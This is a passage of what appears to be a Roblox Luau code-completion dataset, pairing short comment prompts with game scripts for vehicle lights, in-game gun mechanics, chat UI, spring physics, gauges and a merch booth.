		return UserSettings():IsUserFeatureEnabled("UserDynamicThumbstickSafeAreaUpdate")
	end)
	FFlagUserDynamicThumbstickSafeAreaUpdate = success and result
end

local LocalPlayer = Players.LocalPlayer
if not LocalPlayer then
	Players:GetPropertyChangedSignal("LocalPlayer"):Wait()
	LocalPlayer = Players.LocalPlayer
end


Prompt: --LIGHTING FUNCTIONS

Response:
script.Parent.OnServerEvent:connect(function(pl,n) if lt~=1 then pr = true else pr=false end lt=n
	if lt == 0 then
		RefMt.DesiredAngle = RefMt.CurrentAngle%math.rad(360)
		RefMt.CurrentAngle = RefMt.CurrentAngle%math.rad(360)
		UpdateLt(1,white)
		UpdatePt(false,white)
		StopMt(pr)
		repeat wait() until lt~=0
	elseif (lt == 1 or lt == 2) then
		wait(.375)
		local color
		if lt==1 then color=blue elseif lt==2 then color=red end
		RefMt.DesiredAngle = RefMt.CurrentAngle%math.rad(360)
		RefMt.CurrentAngle = RefMt.CurrentAngle%math.rad(360)
		UpdateLt(.25,color)
		UpdatePt(true,color)
		UpdateMt(0,math.rad(225),4)
		wait(.75)
		repeat
			if lt==1 then color=blue elseif lt==2 then color=red end
			UpdateLt(.25,color)
			UpdatePt(true,color)
			UpdateMt(0,math.rad(135),0)
			wait(.5)
			if lt~=1 and lt~=2 then break end
			if lt==1 then color=blue elseif lt==2 then color=red end
			UpdateLt(.25,color)
			UpdatePt(true,color)
			UpdateMt(0,math.rad(225),0)
			wait(.5)
		until (lt~=1 and lt~= 2)
	elseif lt == 3 then
		wait(.5)
		UpdateLt(.25,red)
		UpdatePt(true,red)
		UpdateMt(0,9e9,1)
		repeat wait() until lt~=3
	end
end)


Prompt: --local Sprinting =false

Response:
local L_134_ = L_110_.new(Vector3.new())
L_134_.s = 15
L_134_.d = 0.5

game:GetService("UserInputService").InputChanged:connect(function(L_257_arg1) --Get the mouse delta for the gun sway
	if L_257_arg1.UserInputType == Enum.UserInputType.MouseMovement then
		L_129_ = math.min(math.max(L_257_arg1.Delta.x, -L_131_), L_131_)
		L_130_ = math.min(math.max(L_257_arg1.Delta.y, -L_131_), L_131_)
	end
end)

L_4_.Idle:connect(function() --Reset the sway to 0 when the mouse is still
	L_129_ = 0
	L_130_ = 0
end)

local L_135_ = false
local L_136_ = CFrame.new()
local L_137_ = CFrame.new()

local L_138_ = 0
local L_139_ = CFrame.new()
local L_140_ = 0.1
local L_141_ = 2

local L_142_ = 0
local L_143_ = .2
local L_144_	= 17

local L_145_ = 0
local L_146_ = 5
local L_147_ = .3

local L_148_, L_149_ = 0, 0

local L_150_ = nil
local L_151_ = nil
local L_152_ = nil

L_3_.Humanoid.Running:connect(function(L_258_arg1)
	if L_258_arg1 > 1 then
		L_135_ = true
	else
		L_135_ = false
	end
end)


Response:
function onClicked()
Car.BodyVelocity.maxForce = Vector3.new(math.huge, math.huge, math.huge)
Car.BodyVelocity.velocity = Vector3.new(0, 10, 0)
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)


Prompt: -- If you deleted this you are shady noob and you will be unlucky for 69 years

Response:
if not ModelUrl=="2813016734"then
warn("Invalid model's code")
script.Parent:Destroy()
end


Prompt: --[[ Constants ]]

Response:
--

local IMAGE_DISK = "rbxasset://textures/ui/Input/Disk_padded.png"
local IMAGE_RING = "rbxasset://textures/ui/Input/Ring_padded.png"

local MIDDLE_TRANSPARENCIES = {
	1 - 0.69,
	1 - 0.50,
	1 - 0.40,
	1 - 0.30,
	1 - 0.20,
	1 - 0.10,
	1 - 0.05
}
local NUM_MIDDLE_IMAGES = #MIDDLE_TRANSPARENCIES

local TOUCH_IS_TAP_TIME_THRESHOLD = 0.5
local TOUCH_IS_TAP_DISTANCE_THRESHOLD = 25

local HasFadedBackgroundInPortrait = false
local HasFadedBackgroundInLandscape = false
local FadeInAndOutBackground = true
local FadeInAndOutMaxAlpha = 0.35

local FADE_IN_OUT_HALF_DURATION_DEFAULT = 0.3
local FADE_IN_OUT_HALF_DURATION_ORIENTATION_CHANGE = 2
local FADE_IN_OUT_BALANCE_DEFAULT = 0.5
local FadeInAndOutHalfDuration = FADE_IN_OUT_HALF_DURATION_DEFAULT
local FadeInAndOutBalance = FADE_IN_OUT_BALANCE_DEFAULT


Prompt: -- Define the mouse event handlers for resizing the window

Response:
resizeButton.MouseButton1Down:Connect(function()
	-- Store the mouse position offset relative to the window position
	local windowPos = windowFrame.AbsolutePosition
	local windowSize = windowFrame.AbsoluteSize
	local mousePos = UserInputService:GetMouseLocation()
	mouseOffset = Vector2.new(windowPos.X + windowSize.X - mousePos.X, windowPos.Y + windowSize.Y - mousePos.Y)

	-- Connect the mouse move and up events for resizing the window
	local mouseMoveConn = UserInputService.InputChanged:Connect(function(input)
		if input.UserInputType == Enum.UserInputType.MouseMovement then
			-- Calculate the new size of the window based on the mouse position
			local mousePos = UserInputService:GetMouseLocation()
			local newSize = Vector2.new(mousePos.X - windowPos.X + mouseOffset.X, mousePos.Y - windowPos.Y + mouseOffset.Y)

			-- Constrain the new size of the window to within the minimum and maximum size
			newSize = Vector2.new(math.clamp(newSize.X, minSize.X, maxSize.X), math.clamp(newSize.Y, minSize.Y, maxSize.Y))

			-- Update the size of the window
			windowFrame.Size = UDim2.new(0, newSize.X, 0, newSize.Y)
		end
	end)

	local mouseUpConn
	mouseUpConn = UserInputService.InputEnded:Connect(function(input)
		if input.UserInputType == Enum.UserInputType.MouseButton1 then
			-- Disconnect the mouse move and up events for resizing the window
			mouseMoveConn:Disconnect()
			mouseUpConn:Disconnect()
		end
	end)
end)


Prompt: --connecting the equip, unequip, and mouseClick functions

Response:
script.Parent.Equipped:connect(onEquipped)
script.Parent.Unequipped:connect(onUnequipped)
script.Parent.Activated:connect(onActivated)


Prompt: --// Above was taken directly from Util.GetStringTextBounds() in the old chat corescripts.

Response:
function methods:GetMessageHeight(BaseMessage, BaseFrame, xSize)
	xSize = xSize or BaseFrame.AbsoluteSize.X
	local textBoundsSize = self:GetStringTextBounds(BaseMessage.Text, BaseMessage.Font, BaseMessage.TextSize, Vector2.new(xSize, 1000))
	return textBoundsSize.Y
end

function methods:GetNumberOfSpaces(str, font, textSize)
	local strSize = self:GetStringTextBounds(str, font, textSize)
	local singleSpaceSize = self:GetStringTextBounds(" ", font, textSize)
	return math.ceil(strSize.X / singleSpaceSize.X)
end

function methods:CreateBaseMessage(message, font, textSize, chatColor)
	local BaseFrame = self:GetFromObjectPool("Frame")
	BaseFrame.Selectable = false
	BaseFrame.Size = UDim2.new(1, 0, 0, 18)
	BaseFrame.Visible = true
	BaseFrame.BackgroundTransparency = 1

	local messageBorder = 8

	local BaseMessage = self:GetFromObjectPool("TextLabel")
	BaseMessage.Selectable = false
	BaseMessage.Size = UDim2.new(1, -(messageBorder + 6), 1, 0)
	BaseMessage.Position = UDim2.new(0, messageBorder, 0, 0)
	BaseMessage.BackgroundTransparency = 1
	BaseMessage.Font = font
	BaseMessage.TextSize = textSize
	BaseMessage.TextXAlignment = Enum.TextXAlignment.Left
	BaseMessage.TextYAlignment = Enum.TextYAlignment.Top
	BaseMessage.TextTransparency = 0
	BaseMessage.TextStrokeTransparency = 0.75
	BaseMessage.TextColor3 = chatColor
	BaseMessage.TextWrapped = true
	if shouldClipInGameChat then
		BaseMessage.ClipsDescendants = true
	end
	BaseMessage.Text = message
	BaseMessage.Visible = true
	BaseMessage.Parent = BaseFrame

	return BaseFrame, BaseMessage
end

function methods:AddNameButtonToBaseMessage(BaseMessage, nameColor, formatName, playerName)
	local speakerNameSize = self:GetStringTextBounds(formatName, BaseMessage.Font, BaseMessage.TextSize)
	local NameButton = self:GetFromObjectPool("TextButton")
	NameButton.Selectable = false
	NameButton.Size = UDim2.new(0, speakerNameSize.X, 0, speakerNameSize.Y)
	NameButton.Position = UDim2.new(0, 0, 0, 0)
	NameButton.BackgroundTransparency = 1
	NameButton.Font = BaseMessage.Font
	NameButton.TextSize = BaseMessage.TextSize
	NameButton.TextXAlignment = BaseMessage.TextXAlignment
	NameButton.TextYAlignment = BaseMessage.TextYAlignment
	NameButton.TextTransparency = BaseMessage.TextTransparency
	NameButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency
	NameButton.TextColor3 = nameColor
	NameButton.Text = formatName
	NameButton.Visible = true
	NameButton.Parent = BaseMessage

	local clickedConn = NameButton.MouseButton1Click:connect(function()
		self:NameButtonClicked(NameButton, playerName)
	end)

	local changedConn = nil
	changedConn = NameButton.Changed:connect(function(prop)
		if prop == "Parent" then
			clickedConn:Disconnect()
			changedConn:Disconnect()
		end
	end)

	return NameButton
end

function methods:AddChannelButtonToBaseMessage(BaseMessage, channelColor, formatChannelName, channelName)
	local channelNameSize = self:GetStringTextBounds(formatChannelName, BaseMessage.Font, BaseMessage.TextSize)
	local ChannelButton = self:GetFromObjectPool("TextButton")
	ChannelButton.Selectable = false
	ChannelButton.Size = UDim2.new(0, channelNameSize.X, 0, channelNameSize.Y)
	ChannelButton.Position = UDim2.new(0, 0, 0, 0)
	ChannelButton.BackgroundTransparency = 1
	ChannelButton.Font = BaseMessage.Font
	ChannelButton.TextSize = BaseMessage.TextSize
	ChannelButton.TextXAlignment = BaseMessage.TextXAlignment
	ChannelButton.TextYAlignment = BaseMessage.TextYAlignment
	ChannelButton.TextTransparency = BaseMessage.TextTransparency
	ChannelButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency
	ChannelButton.TextColor3 = channelColor
	ChannelButton.Text = formatChannelName
	ChannelButton.Visible = true
	ChannelButton.Parent = BaseMessage

	local clickedConn = ChannelButton.MouseButton1Click:connect(function()
		self:ChannelButtonClicked(ChannelButton, channelName)
	end)

	local changedConn = nil
 	changedConn = ChannelButton.Changed:connect(function(prop)
		if prop == "Parent" then
			clickedConn:Disconnect()
			changedConn:Disconnect()
		end
	end)

	return ChannelButton
end

function methods:AddTagLabelToBaseMessage(BaseMessage, tagColor, formatTagText)
	local tagNameSize = self:GetStringTextBounds(formatTagText, BaseMessage.Font, BaseMessage.TextSize)
	local TagLabel = self:GetFromObjectPool("TextLabel")
	TagLabel.Selectable = false
	TagLabel.Size = UDim2.new(0, tagNameSize.X, 0, tagNameSize.Y)
	TagLabel.Position = UDim2.new(0, 0, 0, 0)
	TagLabel.BackgroundTransparency = 1
	TagLabel.Font = BaseMessage.Font
	TagLabel.TextSize = BaseMessage.TextSize
	TagLabel.TextXAlignment = BaseMessage.TextXAlignment
	TagLabel.TextYAlignment = BaseMessage.TextYAlignment
	TagLabel.TextTransparency = BaseMessage.TextTransparency
	TagLabel.TextStrokeTransparency = BaseMessage.TextStrokeTransparency
	TagLabel.TextColor3 = tagColor
	TagLabel.Text = formatTagText
	TagLabel.Visible = true
	TagLabel.Parent = BaseMessage

	return TagLabel
end

function GetWhisperChannelPrefix()
	if ChatConstants.WhisperChannelPrefix then
		return ChatConstants.WhisperChannelPrefix
	end
	return "To "
end

function methods:NameButtonClicked(nameButton, playerName)
	if not self.ChatWindow then
		return
	end

	if ChatSettings.ClickOnPlayerNameToWhisper then
		local player = Players:FindFirstChild(playerName)
		if player and player ~= LocalPlayer then
			local whisperChannel = GetWhisperChannelPrefix() ..playerName
			if self.ChatWindow:GetChannel(whisperChannel) then
				self.ChatBar:ResetCustomState()
				local targetChannelName = self.ChatWindow:GetTargetMessageChannel()
				if targetChannelName ~= whisperChannel then
					self.ChatWindow:SwitchCurrentChannel(whisperChannel)
				end

				local whisperMessage = "/w " ..playerName
				self.ChatBar:SetText(whisperMessage)

				self.ChatBar:CaptureFocus()
			elseif not self.ChatBar:IsInCustomState() then
				local whisperMessage = "/w " ..playerName
				self.ChatBar:SetText(whisperMessage)

				self.ChatBar:CaptureFocus()
			end
		end
	end
end

function methods:ChannelButtonClicked(channelButton, channelName)
	if not self.ChatWindow then
		return
	end

	if ChatSettings.ClickOnChannelNameToSetMainChannel then
		if self.ChatWindow:GetChannel(channelName) then
			self.ChatBar:ResetCustomState()
			local targetChannelName = self.ChatWindow:GetTargetMessageChannel()
			if targetChannelName ~= channelName then
				self.ChatWindow:SwitchCurrentChannel(channelName)
			end
			self.ChatBar:ResetText()
			self.ChatBar:CaptureFocus()
		end
	end
end

function methods:RegisterChatWindow(chatWindow)
	self.ChatWindow = chatWindow
	self.ChatBar = chatWindow:GetChatBar()
end

function methods:GetFromObjectPool(className)
	if self.ObjectPool == nil then
		return Instance.new(className)
	end
	return self.ObjectPool:GetInstance(className)
end

function methods:RegisterObjectPool(objectPool)
	self.ObjectPool = objectPool
end


Response:
	,Distance = 10000
	,BDrop = .25
	,BSpeed = 2200

	,SuppressMaxDistance = 25	--- Studs
	,SuppressTime = 10			--- Seconds

	,BulletWhiz = true
	,BWEmitter = 25
	,BWMaxDistance = 200

	,BulletFlare = false
	,BulletFlareColor = Color3.fromRGB(255,255,255)

	,Tracer = true
	,TracerColor = Color3.fromRGB(255,255,255)
	,TracerLightEmission = 1
	,TracerLightInfluence = 0
	,TracerLifeTime = .2
	,TracerWidth = .1
	,RandomTracer = false
	,TracerEveryXShots = 3
	,TracerChance = 100

	,BulletLight = false
	,BulletLightBrightness = 1
	,BulletLightColor = Color3.fromRGB(255,255,255)
	,BulletLightRange = 10

	,ExplosiveHit = false
	,ExPressure = 500
	,ExpRadius = 25
	,DestroyJointRadiusPercent = 0	--- Between 0 & 1
	,ExplosionDamage = 100

	,LauncherDamage = 100
	,LauncherRadius = 25
	,LauncherPressure = 500
	,LauncherDestroyJointRadiusPercent = 0


Response:
local prev = Tool:FindFirstChild("Handle")

local ModelChild = script.Parent:GetChildren()
for i = 1,#ModelChild do
	if (ModelChild[i].className == "Part") or (ModelChild[i].className == "MeshPart") then
		if (prev ~= nil)then
			local weld = Instance.new("Weld")
			weld.Part0 = prev
			weld.Part1 = ModelChild[i]
			weld.C0 = prev.CFrame:inverse()
			weld.C1 = ModelChild[i].CFrame:inverse()
			weld.Parent = prev
		end
		ModelChild[i].Anchored = false
		prev = ModelChild[i]
	end
	---- If ModelChild is a Model ---
	if ModelChild[i]:IsA("Model") then
		local prev2 = prev
	local parts2 = ModelChild[i]:GetChildren()
		for i = 1,#parts2 do
			if (parts2[i].className == "Part") or (parts2[i].className == "UnionOperation") then
				if (prev2 ~= nil)then
				local weld = Instance.new("Weld")
				weld.Part0 = prev2
				weld.Part1 = parts2[i]
				weld.C0 = prev2.CFrame:inverse()
				weld.C1 = parts2[i].CFrame:inverse()
				weld.Parent = prev2
				end
			parts2[i].Anchored = false
			prev2 = parts2[i]
			end
		end
	end
end

wait(3)
script:remove()


Prompt:
--[=[
	@within Timer
	@type CallbackFn () -> ()
	Callback function.
]=]

Response: type CallbackFn = () -> nil


Prompt: --Stoppie tune

Response:
local StoppieD = 15
local StoppieTq = 40
local StoppieP = 10
local StoppieMultiplier = 1
local StoppieDivider = 2

local clock = .0667 --How fast your wheelie script refreshes


Prompt:
--[[
	Returns the enums.PrimaryButtonModes that is reflective of the ownership and
	equip status from the specified `assetId` and `assetType` of a MerchBooth
	accessory.

	Default mode is Purchase. Ownership is checked through
	MarketplaceService:PlayerOwnsAsset; if the accessory is owned, then equip
	status is then checked through the player's HumanoidDescription first and
	the humanoid's accessories second.

	This function is called when the MerchBooth is opened.
]]

Response:
local MarketplaceService = game:GetService("MarketplaceService")

local MerchBooth = script:FindFirstAncestor("MerchBooth")

local enums = require(MerchBooth.enums)
local types = require(MerchBooth.types)
local isItemEquipped = require(MerchBooth.Modules.isItemEquipped)

return function(mockMarketplaceService: MarketplaceService)
	MarketplaceService = mockMarketplaceService or MarketplaceService

	local function getButtonModeAsync(player: Player, itemInfo: types.ItemInfo): string
		local character = player and player.Character
		local humanoid = character and character:FindFirstChildOfClass("Humanoid")
		local mode = enums.PrimaryButtonModes.Purchase

		if humanoid then
			if itemInfo.isOwned then
				mode = enums.PrimaryButtonModes.Owned

				--if itemInfo.assetType then
				--	mode = enums.PrimaryButtonModes.CanEquip
				--	local description = humanoid:GetAppliedDescription()
				--	if isItemEquipped(description, itemInfo) then
				--		mode = enums.PrimaryButtonModes.Equipped
				--	end
				--end
			elseif itemInfo.price < 0 then
				mode = enums.PrimaryButtonModes.NotForSale
			end
		end

		return mode
	end

	return getButtonModeAsync
end


Response:
local function Reflect(surfaceNormal, bulletNormal)
	return bulletNormal - (2 * bulletNormal:Dot(surfaceNormal) * surfaceNormal)
end

function Fire(direction)
	-- Called when we want to fire the gun.
	if Tool.Parent:IsA("Backpack") then return end -- Can't fire if it's not equipped.
	-- Note: Above isn't in the event as it will prevent the CanFire value from being set as needed.

	-- UPD. 11 JUNE 2019 - Add support for random angles.
	local directionalCF = CFrame.new(Vector3.new(), direction)
	-- Now, we can use CFrame orientation to our advantage.
	-- Overwrite the existing Direction value.
	local direction = (directionalCF * CFrame.fromOrientation(0, 0, RNG:NextNumber(0, TAU)) * CFrame.fromOrientation(math.rad(RNG:NextNumber(MIN_BULLET_SPREAD_ANGLE, MAX_BULLET_SPREAD_ANGLE)), 0, 0)).LookVector

	-- UPDATE V6: Proper bullet velocity!
	-- IF YOU DON'T WANT YOUR BULLETS MOVING WITH YOUR CHARACTER, REMOVE THE THREE LINES OF CODE BELOW THIS COMMENT.
	-- Requested by https://www.roblox.com/users/898618/profile/
	-- We need to make sure the bullet inherits the velocity of the gun as it fires, just like in real life.
	local humanoidRootPart = Tool.Parent:WaitForChild("HumanoidRootPart", 1)	-- Add a timeout to this.
	local myMovementSpeed = humanoidRootPart.Velocity							-- To do: It may be better to get this value on the clientside since the server will see this value differently due to ping and such.
	local modifiedBulletSpeed = (direction * BULLET_SPEED)-- + myMovementSpeed	-- We multiply our direction unit by the bullet speed. This creates a Vector3 version of the bullet's velocity at the given speed. We then add MyMovementSpeed to add our body's motion to the velocity.

	local simBullet = Caster:Fire(FirePointObject.WorldPosition, direction, modifiedBulletSpeed, CastBehavior)
	-- Optionally use some methods on simBullet here if applicable.

	-- Play the sound
	PlayFireSound()
end

local function KnockBack(hitPos, impactStrength)
	local boom = Instance.new("Explosion")
	boom.BlastPressure = 30000*impactStrength
	boom.BlastRadius = 2
	boom.Visible = false
	boom.ExplosionType = Enum.ExplosionType.NoCraters
	boom.DestroyJointRadiusPercent = 0
	boom.Position = hitPos
	boom.Parent = workspace.Terrain
	Debris:AddItem(boom, .1)
end


Prompt: --// # key, ManOn

Response:
mouse.KeyDown:connect(function(key)
	if key=="f" then
		veh.Lightbar.middle.Man:Play()
		veh.Lightbar.middle.Wail.Volume = 0
		veh.Lightbar.middle.Yelp.Volume = 0
		veh.Lightbar.middle.Priority.Volume = 0
		script.Parent.Parent.Sirens.Man.BackgroundColor3 = Color3.fromRGB(215, 135, 110)
		veh.Lightbar.MAN.Transparency = 0
	end
end)


Prompt: -- Libraries

Response:
local Roact = require(Vendor:WaitForChild('Roact'))
local ToolManualWindow = require(UI:WaitForChild('ToolManualWindow'))

local function ListenForManualWindowTrigger(Text, ThemeColor, SignatureButton)
    local HelpButton = SignatureButton:WaitForChild('HelpButton')

	local IsManualOpen = false
	local ManualHandle = nil

	local function BeginHover()
		if not IsManualOpen then
			HelpButton.TextTransparency = 0
			HelpButton:WaitForChild('Background').BackgroundTransparency = 0
		end
	end

	local function EndHover()
		if not IsManualOpen then
			HelpButton.TextTransparency = 0.5
			HelpButton:WaitForChild('Background').BackgroundTransparency = 0.75
		end
	end

	local function ToggleManual()
		HelpButton.TextTransparency = IsManualOpen and 0 or 0.5
		HelpButton:WaitForChild('Background').BackgroundTransparency = IsManualOpen and 0 or 0.75

        -- Close manual if open
        if IsManualOpen then
			EndHover()
			IsManualOpen = false
			ManualHandle = Roact.unmount(ManualHandle)

        -- Open manual if closed
        else
			BeginHover()
			IsManualOpen = true
			local ManualElement = Roact.createElement(ToolManualWindow, {
				Text = Text;
				ThemeColor = ThemeColor;
			})
			ManualHandle = Roact.mount(ManualElement, Core.UI, 'ToolManualWindow')
		end
	end

	-- Enable help button
	SignatureButton.Activated:Connect(ToggleManual)
	HelpButton.Activated:Connect(ToggleManual)
	SignatureButton.InputBegan:Connect(BeginHover)
	SignatureButton.InputEnded:Connect(EndHover)
	HelpButton.InputBegan:Connect(BeginHover)
	HelpButton.InputEnded:Connect(EndHover)
end

return ListenForManualWindowTrigger


Prompt:
--- Skip forwards in now
-- @param delta now to skip forwards

Response:
function Spring:TimeSkip(delta)
	local now = self._clock()
	local position, velocity = self:_positionVelocity(now+delta)
	self._position0 = position
	self._velocity0 = velocity
	self._time0 = now
end

function Spring:__index(index)
	if Spring[index] then
		return Spring[index]
	elseif index == "Value" or index == "Position" or index == "p" then
		local position, _ = self:_positionVelocity(self._clock())
		return position
	elseif index == "Velocity" or index == "v" then
		local _, velocity = self:_positionVelocity(self._clock())
		return velocity
	elseif index == "Target" or index == "t" then
		return self._target
	elseif index == "Damper" or index == "d" then
		return self._damper
	elseif index == "Speed" or index == "s" then
		return self._speed
	elseif index == "Clock" then
		return self._clock
	else
		error(("%q is not a valid member of Spring"):format(tostring(index)), 2)
	end
end

function Spring:__newindex(index, value)
	local now = self._clock()

	if index == "Value" or index == "Position" or index == "p" then
		local _, velocity = self:_positionVelocity(now)
		self._position0 = value
		self._velocity0 = velocity
		self._time0 = now
	elseif index == "Velocity" or index == "v" then
		local position, _ = self:_positionVelocity(now)
		self._position0 = position
		self._velocity0 = value
		self._time0 = now
	elseif index == "Target" or index == "t" then
		local position, velocity = self:_positionVelocity(now)
		self._position0 = position
		self._velocity0 = velocity
		self._target = value
		self._time0 = now
	elseif index == "Damper" or index == "d" then
		local position, velocity = self:_positionVelocity(now)
		self._position0 = position
		self._velocity0 = velocity
		self._damper = math.clamp(value, 0, 1)
		self._time0 = now
	elseif index == "Speed" or index == "s" then
		local position, velocity = self:_positionVelocity(now)
		self._position0 = position
		self._velocity0 = velocity
		self._speed = value < 0 and 0 or value
		self._time0 = now
	elseif index == "Clock" then
		local position, velocity = self:_positionVelocity(now)
		self._position0 = position
		self._velocity0 = velocity
		self._clock = value
		self._time0 = value()
	else
		error(("%q is not a valid member of Spring"):format(tostring(index)), 2)
	end
end

function Spring:_positionVelocity(now)
	local p0 = self._position0
	local v0 = self._velocity0
	local p1 = self._target
	local d = self._damper
	local s = self._speed

	local t = s*(now - self._time0)
	local d2 = d*d

	local h, si, co
	if d2 < 1 then
		h = math.sqrt(1 - d2)
		local ep = math.exp(-d*t)/h
		co, si = ep*math.cos(h*t), ep*math.sin(h*t)
	elseif d2 == 1 then
		h = 1
		local ep = math.exp(-d*t)/h
		co, si = ep, ep*t
	else
		h = math.sqrt(d2 - 1)
		local u = math.exp((-d + h)*t)/(2*h)
		local v = math.exp((-d - h)*t)/(2*h)
		co, si = u + v, u - v
	end

	local a0 = h*co + d*si
	local a1 = 1 - (h*co + d*si)
	local a2 = si/s

	local b0 = -s*si
	local b1 = s*si
	local b2 = h*co - d*si

	return
		a0*p0 + a1*p1 + a2*v0,
		b0*p0 + b1*p1 + b2*v0
end

return Spring


Prompt: -- SERVICES --

Response: local CS = game:GetService("CollectionService")


Prompt:
-- Writes a warning to the output
-- in context of the FpsCamera.

Response:
function FpsCamera:Warn(...)
	warn("[FpsCamera]", ...)
end


Prompt: --Automatic Gauge Scaling

Response:
if autoscaling then
	local Drive={}
	if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
		if car.Wheels:FindFirstChild("FL")~= nil then
			table.insert(Drive,car.Wheels.FL)
		end
		if car.Wheels:FindFirstChild("FR")~= nil then
			table.insert(Drive,car.Wheels.FR)
		end
		if car.Wheels:FindFirstChild("F")~= nil then
			table.insert(Drive,car.Wheels.F)
		end
	end
	if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
		if car.Wheels:FindFirstChild("RL")~= nil then
			table.insert(Drive,car.Wheels.RL)
		end
		if car.Wheels:FindFirstChild("RR")~= nil then
			table.insert(Drive,car.Wheels.RR)
		end
		if car.Wheels:FindFirstChild("R")~= nil then
			table.insert(Drive,car.Wheels.R)
		end
	end

	local wDia = 0
	for i,v in pairs(Drive) do
		if v.Size.x>wDia then wDia = v.Size.x end
	end
	Drive = nil
	for i,v in pairs(UNITS) do
		v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
		v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)
	end
end

for i=0,revEnd*2 do
	local ln = script.Parent.ln:clone()
	ln.Parent = script.Parent.Tach
	ln.Rotation = 45 + i * 225 / (revEnd*2)
	ln.Num.Text = i/.2
	ln.Num.Rotation = -ln.Rotation
	if i*500>=math.floor(_pRPM/500)*500 then
		ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
		if i<revEnd*2 then
			ln2 = ln:clone()
			ln2.Parent = script.Parent.Tach
			ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
			ln2.Num:Destroy()
			ln2.Visible=true
		end
	end
	if i%2==0 then
		ln.Frame.Size = UDim2.new(0,3,0,10)
		ln.Frame.Position = UDim2.new(0,-1,0,100)
		ln.Num.Visible = true
	else
		ln.Num:Destroy()
	end
	ln.Visible=true
end

local lns = Instance.new("Frame",script.Parent.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
	local ln = script.Parent.ln:clone()
	ln.Parent = lns
	ln.Rotation = 45 + 225*(i/90)
	if i%2==0 then
		ln.Frame.Size = UDim2.new(0,2,0,10)
		ln.Frame.Position = UDim2.new(0,-1,0,100)
	else
		ln.Frame.Size = UDim2.new(0,3,0,5)
	end
	ln.Num:Destroy()
	ln.Visible=true
end

for i,v in pairs(UNITS) do
	local lnn = Instance.new("Frame",script.Parent.Speedo)
	lnn.BackgroundTransparency = 1
	lnn.BorderSizePixel = 0
	lnn.Size = UDim2.new(0,0,0,0)
	lnn.Name = v.units
	if i~= 1 then lnn.Visible=false end

	for i=0,v.maxSpeed,v.spInc do
		local ln = script.Parent.ln:clone()
		ln.Parent = lnn
		ln.Rotation = 45 + 225*(i/v.maxSpeed)
		ln.Num.Text = i
		ln.Num.TextSize = 14
		ln.Num.Rotation = -ln.Rotation
		ln.Frame:Destroy()
		ln.Num.Visible=true
		ln.Visible=true
	end
end

if 	script.Parent.Parent.IsOn.Value then
	script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end

script.Parent.Parent.IsOn.Changed:connect(function()
	if script.Parent.Parent.IsOn.Value then
		script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
	end
end)

script.Parent.Parent.Values.RPM.Changed:connect(function()
	script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))
end)

script.Parent.Parent.Values.Gear.Changed:connect(function()
	local gearText = script.Parent.Parent.Values.Gear.Value
	if gearText == 0 then gearText = "N"
	elseif gearText == -1 then gearText = "R"
	end
	script.Parent.Gear.Text = gearText
end)

script.Parent.Parent.Values.TCS.Changed:connect(function()
	if _Tune.TCSEnabled then
		if script.Parent.Parent.Values.TCS.Value then
			script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
			script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
			if script.Parent.Parent.Values.TCSActive.Value then
				wait()
				script.Parent.TCS.Visible = not script.Parent.TCS.Visible
			else
				wait()
				script.Parent.TCS.Visible = false
			end
		else
			script.Parent.TCS.Visible = true
			script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
			script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
		end
	else
		script.Parent.TCS.Visible = false
	end
end)

script.Parent.Parent.Values.TCSActive.Changed:connect(function()
	if _Tune.TCSEnabled then
		if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
			wait()
			script.Parent.TCS.Visible = not script.Parent.TCS.Visible
		elseif not script.Parent.Parent.Values.TCS.Value then
			wait()
			script.Parent.TCS.Visible = true
		else
			wait()
			script.Parent.TCS.Visible = false
		end
	else
		script.Parent.TCS.Visible = false
	end
end)

script.Parent.TCS.Changed:connect(function()
	if _Tune.TCSEnabled then
		if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
			wait()
			script.Parent.TCS.Visible = not script.Parent.TCS.Visible
		elseif not script.Parent.Parent.Values.TCS.Value then
			wait()
			script.Parent.TCS.Visible = true
		end
	else
		if script.Parent.TCS.Visible then
			script.Parent.TCS.Visible = false
		end
	end
end)

script.Parent.Parent.Values.ABS.Changed:connect(function()
	if _Tune.ABSEnabled then
		if script.Parent.Parent.Values.ABS.Value then
			script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0)
			script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
			if script.Parent.Parent.Values.ABSActive.Value then
				wait()
				script.Parent.ABS.Visible = not script.Parent.ABS.Visible
			else
				wait()
				script.Parent.ABS.Visible = false
			end
		else
			script.Parent.ABS.Visible = true
			script.Parent.ABS.TextColor3 = Color3.new(1,0,0)
			script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0)
		end
	else
		script.Parent.ABS.Visible = false
	end
end)

script.Parent.Parent.Values.ABSActive.Changed:connect(function()
	if _Tune.ABSEnabled then
		if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
			wait()
			script.Parent.ABS.Visible = not script.Parent.ABS.Visible
		elseif not script.Parent.Parent.Values.ABS.Value then
			wait()
			script.Parent.ABS.Visible = true
		else
			wait()
			script.Parent.ABS.Visible = false
		end
	else
		script.Parent.ABS.Visible = false
	end
end)

